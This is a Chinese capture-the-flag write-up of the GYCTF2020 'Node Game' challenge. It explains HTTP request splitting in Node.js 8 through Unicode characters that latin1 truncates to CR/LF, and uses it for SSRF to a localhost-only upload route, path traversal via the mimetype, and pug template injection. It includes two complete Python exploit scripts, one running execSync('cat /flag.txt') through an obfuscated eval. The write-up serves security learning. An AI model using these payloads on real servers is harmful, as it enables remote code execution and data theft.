天天看点

[GYCTF2020]Node Game-nodejs通过拆分攻击实现的SSRF攻击

[GYCTF2020]Node Game

题目分析

打开题目一共有两个页面,一个是源代码,另一个是文件上传

[GYCTF2020]Node Game-nodejs通过拆分攻击实现的SSRF攻击
[GYCTF2020]Node Game-nodejs通过拆分攻击实现的SSRF攻击

我们将源代码的路由分成几个小块来分析一下

第一块是/路由

[GYCTF2020]Node Game-nodejs通过拆分攻击实现的SSRF攻击

接收GET请求传来的action参数值,检查是否含有违法字符/、\,而后将其拼接/template和.pug,而后赋值给file变量,然后用pug引擎渲染

2./file_upload

[GYCTF2020]Node Game-nodejs通过拆分攻击实现的SSRF攻击

接受POST请求,要使用该路由的功能对访问的ip是有限制的,只允许127.0.0.1的地址来访问。同时var ip = req.connection.remoteAddress;说明ip是不能通过请求头来伪造的。可以考虑用SSRF来绕过。

同时如果能够使用文件上传功能的话,可以看到上传文件的存储路径是文件上传的类型mimetype来决定的,因此可控。所以有路径穿越,可以任意文件上传了。如:uploads/…/template/+filename这样就相当于传了一个文件到template

3./core

[GYCTF2020]Node Game-nodejs通过拆分攻击实现的SSRF攻击

接受一个参数q,并对本地进行请求:url = ‘http://localhost:8081/source?’ + q

毫无疑问,上面这里就是 SSRF 点了,而且题目也特别强调了 Node 版本为 8.12.0,那么就在网上一搜,发现这个版本的 Node 的 http 模块这里果然有漏洞

攻击流程

1.对/core路由发起切分攻击,请求/core的同时还向/source路由发出上传文件的请求

2.由于/路由是先读取/template/目录下的pug文件再将其渲染到当前界面,因此应该上传包含命令执行的pug文件;文件虽然默认上传至/upload/目录下,但可以通过目录穿越将文件上传到/template目录

3.访问上传到/template目录下包含命令执行的pug文件

通过拆分攻击实现的SSRF攻击

漏洞:通过拆分请求实现的SSRF攻击

假设一个服务器,接受用户输入,并将其包含在通过HTTP公开的内部服务请求中,像这样:

GET /private-api?q=<user-input-here> HTTP/1.1
Authorization: server-secret-key
           

如果服务器未正确验证用户输入,则攻击者可能会直接注入协议控制字符到请求里。假设在这种情况下服务器接受了以下用户输入:

"x HTTP/1.1\r\n\r\nDELETE /private-api HTTP/1.1\r\n"
           

在发出请求时,服务器可能会直接将其写入路径,如下:

GET /private-api?q=x HTTP/1.1

DELETE /private-api
Authorization: server-secret-key
           

说到底就是\r\n成功生效

接收服务将此解释为两个单独的HTTP请求,一个GET后跟一个DELETE

好的HTTP库通通常包含阻止这一行为的措施,Node.js也不例外:如果你尝试发出一个路径中含有控制字符的HTTP请求,它们会被URL编码:

http.get('http://example.com/\r\n/test').output
[ 'GET /%0D%0A/test HTTP/1.1\r\nHost: example.com\r\nConnection: close\r\n\r\n' ]
           

不幸的是,上述的处理unicode字符错误意味着可以规避这些措施。考虑如下的URL,其中包含一些带变音符号的unicode字符:

'http://example.com/\u{010D}\u{010A}/test'
http://example.com/čĊ/test
           

当Node.js版本8或更低版本对此URL发出GET请求时,它不会进行转义,因为它们不是HTTP控制字符:

http.get('http://example.com/\u010D\u010A/test').output
[ 'GET /čĊ/test HTTP/1.1\r\nHost: example.com\r\nConnection: close\r\n\r\n' ]
           

但是当结果字符串被编码为latin1写入路径时,这些字符将分别被截断为“\r”和“\n”:

Buffer.from('http://example.com/\u{010D}\u{010A}/test', 'latin1').toString()
'http://example.com/\r\n/test'
           

Node.js默认使用“latin1”,这是一种单字节编码,不能表示高编号的unicode字符

说白了,上面这段的意思就是我们可以利用一些特殊字符,它们在URL请求时不会被转义处理,但是当它到了js引擎时,由于其默认用的是latin1,因此可以将我们用的特殊字符转义得到我们需要的字符,从而达到ssrf的目的

题解

原理了解完后,接下来利用那个上传页面上传一个文件,burp suite 抓下包

[GYCTF2020]Node Game-nodejs通过拆分攻击实现的SSRF攻击

然后下面就是如何构造http走私了,下面这个是rce的脚本,由于有黑名单验证,可以拼接绕过,然后由于pug模板引擎,需要在前面加上-,来表示开始一段代码

下面是几个网上找的大佬的脚本

import requests

payload = """ HTTP/1.1
Host: 127.0.0.1
Connection: keep-alive

POST /file_upload HTTP/1.1
Host: 127.0.0.1
Content-Length: {}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarysAs7bV3fMHq0JXUt

{}""".replace('\n', '\r\n')

body = """------WebKitFormBoundarysAs7bV3fMHq0JXUt
Content-Disposition: form-data; name="file"; filename="lmonstergg.pug"
Content-Type: ../template

-var x = eval("glob"+"al.proce"+"ss.mainMo"+"dule.re"+"quire('child_'+'pro'+'cess')['ex'+'ecSync']('cat /flag.txt').toString()")
-return x
------WebKitFormBoundarysAs7bV3fMHq0JXUt--

""".replace('\n', '\r\n')

payload = payload.format(len(body), body) \
    .replace('+', '\u012b')             \
    .replace(' ', '\u0120')             \
    .replace('\r\n', '\u010d\u010a')    \
    .replace('"', '\u0122')             \
    .replace("'", '\u0a27')             \
    .replace('[', '\u015b')             \
    .replace(']', '\u015d') \
    + 'GET' + '\u0120' + '/'

session = requests.Session()
session.trust_env = False
response1 = session.get('http://8467d768-1851-4764-bf73-e93bedea88bc.node4.buuoj.cn:81/core?q=' + payload)
response = session.get('http://8467d768-1851-4764-bf73-e93bedea88bc.node4.buuoj.cn:81/?action=lmonstergg')
print(response.text)
           

下面这个是赵总的脚本拿来改

import urllib.parse
import requests

payload = ''' HTTP/1.1
Host: x
Connection: keep-alive

POST /file_upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryO9LPoNAg9lWRUItA
Content-Length: {}
cache-control: no-cache
Host: 127.0.0.1
Connection: keep-alive 

{}'''
body='''------WebKitFormBoundaryO9LPoNAg9lWRUItA
Content-Disposition: form-data; name="file"; filename="lmonstergg.pug"
Content-Type: ../template

doctype html
html
  head
    style
      include ../../../../../../../flag.txt
------WebKitFormBoundaryO9LPoNAg9lWRUItA--
'''
more='''

GET /flag HTTP/1.1
Host: x
Connection: close
x:'''
payload = payload.format(len(body)+10,body)+more
payload = payload.replace("\n", "\r\n")
payload = ''.join(chr(int('0xff' + hex(ord(c))[2:].zfill(2), 16)) for c in payload)
print(payload)


session = requests.Session()
session.trust_env = False
session.get('http://8467d768-1851-4764-bf73-e93bedea88bc.node4.buuoj.cn:81/core?q=' + urllib.parse.quote(payload))
response = session.get('http://8467d768-1851-4764-bf73-e93bedea88bc.node4.buuoj.cn:81/?action=lmonstergg')
print(response.text)


           
[GYCTF2020]Node Game-nodejs通过拆分攻击实现的SSRF攻击

参考文章:

https://www.cnblogs.com/20175211lyz/p/12659738.html

https://0xgeekcat.github.io/Node-js%E6%BC%8F%E6%B4%9E%E5%AD%A6%E4%B9%A0-GYCTF2020-Node-Game.html

https://www.cnblogs.com/W4nder/p/12806180.html

继续阅读